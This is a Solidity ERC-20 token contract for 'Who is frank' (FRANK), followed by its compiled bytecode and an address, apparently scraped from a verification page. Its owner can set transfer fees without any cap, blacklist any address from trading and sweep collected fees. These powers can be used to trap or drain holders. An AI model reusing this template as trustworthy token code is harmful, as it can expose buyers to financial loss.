FNKKKKKKKKKK KKKKKKKKKKF RKKKKKKKNAR RKKKKKKKKKKKKKKKKKKKKARR FR NKKKKKKKKKKK KKKKKKKKKKF RKA NNN FRRAANKKKKKKKKKKKKKKKKKKKKKKKKF AKKKKKKKKKKK KKKKKKKKKKR N RKNKNKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKN AKKKKKKKKKKK KKKKKKKKKKNF F RKAAAAANNKKKKKKNAKKK AKKKKKKKKKKKKKNNNNANKKKKKKKKKKKKKF RKKK AKKKKKKKKKKK KKKKKKKKKKKKKAAA R FKKKKKKKKKKKKKKKKKKKA AKKKKKKKKKKKKNAAANKKKKKKKKKKKKK FKKKK KKKKKKKKKKKKK KKKKKKKKKKKKKKKAFNA FN FKKKKKKKKKKKKKKKNANKKA NKKKKKKKKKKKKKKKKKKKKKKKKKKKN AKKKKR KKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKRRKR NKKKKKKKKKKKKKKKKNA KKKKKKKKKKKKKKKKKKKKKKKKKKA NKKKKKF KKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKNKKKK AKKKKKKKKKKKKKKK RK FKKKKKKKKKKKKKKKKKKKKKKKKN KKKKKKK KKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKR AKKKKKKKKKKKKKA KKF KKKKKKKKKKKKKKKKKKKKKKKN KKKKKKK KKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKNF RKKKKKKKKKKKK KKKK KKKKKKKKKKKKKKKKKKKKKKA NKKKNNR AKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKN KKKKKKKKKKR KKKK KKKKKKKKKKKKKKKKKKKKK FNAAKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKR RKKKKKKK KKKKK NKKKKKKKKKKKKKKKKKKK AKKKKKKKKKKKNNKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKF FAR FRKKKKK RKKKKKKKKKKKKKKKKKK KKKKKKKKKKKNAANKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKNARRRRRRKKKKKKKK RKKKKKKKKKKKKKKKKKA AKKKKKKKKKKKNKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKA FKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKF KKKKKKKKKKKKKKKR RKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKR KKKKKKKKKKKKKA FKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKF NKKKKKKKKKR NKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKR RKKKKNR AKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKFF FAKKKKKKKKKKKKKKKKKKKAAKKKKKKKKKKKAKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAAAAAAKKKKKKKKKKKKKKKKKKKKKAARNANNANNAANNAAAAKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAAAANARANAANAANAAKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKNANRKARAAAAKRAAAAAKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK **/ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FRANK is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Who is frank"; string private constant _symbol = "FRANK"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 1; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 1; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xFDa3660fDd14afe3813C3E9025926502caFAF28C); address payable private _marketingAddress = payable(0xFDa3660fDd14afe3813C3E9025926502caFAF28C); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 10000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b457600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611959565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600c81526b57686f206973206672616e6b60a01b60208201525b60405161023c9190611a1e565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a73565b61069e565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50683635c9adc5dea000005b60405190815260200161023c565b3480156102df57600080fd5b506102656102ee366004611a9f565b6106b5565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023c565b34801561033157600080fd5b50601554610295906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611ae0565b61071e565b34801561037157600080fd5b506101fc610380366004611b0d565b610769565b34801561039157600080fd5b506101fc6107b1565b3480156103a657600080fd5b506102c56103b5366004611ae0565b6107fc565b3480156103c657600080fd5b506101fc61081e565b3480156103db57600080fd5b506101fc6103ea366004611b28565b610892565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611ae0565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610295565b34801561045c57600080fd5b506101fc61046b366004611b0d565b6108c1565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b506040805180820190915260058152644652414e4b60d81b602082015261022f565b3480156104c057600080fd5b506101fc6104cf366004611b28565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b41565b610938565b34801561050057600080fd5b5061026561050f366004611a73565b610976565b34801561052057600080fd5b5061026561052f366004611ae0565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b73565b6109d7565b34801561058557600080fd5b506102c5610594366004611bf7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b28565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611ae0565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c30565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c65565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c91565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611da9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c30565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c30565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c30565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c30565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c30565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c30565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c30565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c30565b60005b82811015610a72578160056000868685818110610a2357610a23611c65565b9050602002016020810190610a389190611ae0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c91565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c30565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c30565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611caa565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611463565b600081848411156112155760405162461bcd60e51b81526004016106299190611a1e565b5060006112228486611cc2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d6611491565b90506112e283826114b4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c65565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae9190611cd9565b816001815181106113c1576113c1611c65565b6001600160a01b0392831660209182029290920101526014546113e79130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611420908590600090869030904290600401611cf6565b600060405180830381600087803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611470576114706114f6565b61147b848484611524565b80610a7257610a72600e54600c55600f54600d55565b600080600061149e61161b565b90925090506114ad82826114b4565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165d565b600c541580156115065750600d54155b1561150d57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115368761168b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156890876116e8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611597908661172a565b6001600160a01b0389166000908152600260205260409020556115b981611789565b6115c384836117d3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160891815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061163782826114b4565b82101561165457505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361167e5760405162461bcd60e51b81526004016106299190611a1e565b5060006112228486611d67565b60008060008060008060008060006116a88a600c54600d546117f7565b92509250925060006116b8611491565b905060008060006116cb8e87878761184c565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117378385611caa565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b6000611793611491565b905060006117a1838361189c565b306000908152600260205260409020549091506117be908261172a565b30600090815260026020526040902055505050565b6006546117e090836116e8565b6006556007546117f0908261172a565b6007555050565b6000808080611811606461180b898961189c565b906114b4565b90506000611824606461180b8a8961189c565b9050600061183c826118368b866116e8565b906116e8565b9992985090965090945050505050565b600080808061185b888661189c565b90506000611869888761189c565b90506000611877888861189c565b905060006118898261183686866116e8565b939b939a50919850919650505050505050565b6000826000036118ae575060006106af565b60006118ba8385611d89565b9050826118c78583611d67565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195481611934565b919050565b6000602080838503121561196c57600080fd5b823567ffffffffffffffff8082111561198457600080fd5b818501915085601f83011261199857600080fd5b8135818111156119aa576119aa61191e565b8060051b604051601f19603f830116810181811085821117156119cf576119cf61191e565b6040529182528482019250838101850191888311156119ed57600080fd5b938501935b82851015611a1257611a0385611949565b845293850193928501926119f2565b98975050505050505050565b600060208083528351808285015260005b81811015611a4b57858101830151858201604001528201611a2f565b81811115611a5d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8657600080fd5b8235611a9181611934565b946020939093013593505050565b600080600060608486031215611ab457600080fd5b8335611abf81611934565b92506020840135611acf81611934565b929592945050506040919091013590565b600060208284031215611af257600080fd5b81356112e281611934565b8035801515811461195457600080fd5b600060208284031215611b1f57600080fd5b6112e282611afd565b600060208284031215611b3a57600080fd5b5035919050565b60008060008060808587031215611b5757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8857600080fd5b833567ffffffffffffffff80821115611ba057600080fd5b818601915086601f830112611bb457600080fd5b813581811115611bc357600080fd5b8760208260051b8501011115611bd857600080fd5b602092830195509350611bee9186019050611afd565b90509250925092565b60008060408385031215611c0a57600080fd5b8235611c1581611934565b91506020830135611c2581611934565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca357611ca3611c7b565b5060010190565b60008219821115611cbd57611cbd611c7b565b500190565b600082821015611cd457611cd4611c7b565b500390565b600060208284031215611ceb57600080fd5b81516112e281611934565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d465784516001600160a01b031683529383019391830191600101611d21565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da357611da3611c7b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209eacfdd1c4458494914f298235355ecddbde817e5440cd849ecf66f104435bf564736f6c634300080d0033
[ 13 ]
0xf3145E8Cd87E94B65cF5Ba336292d557aD380e5B
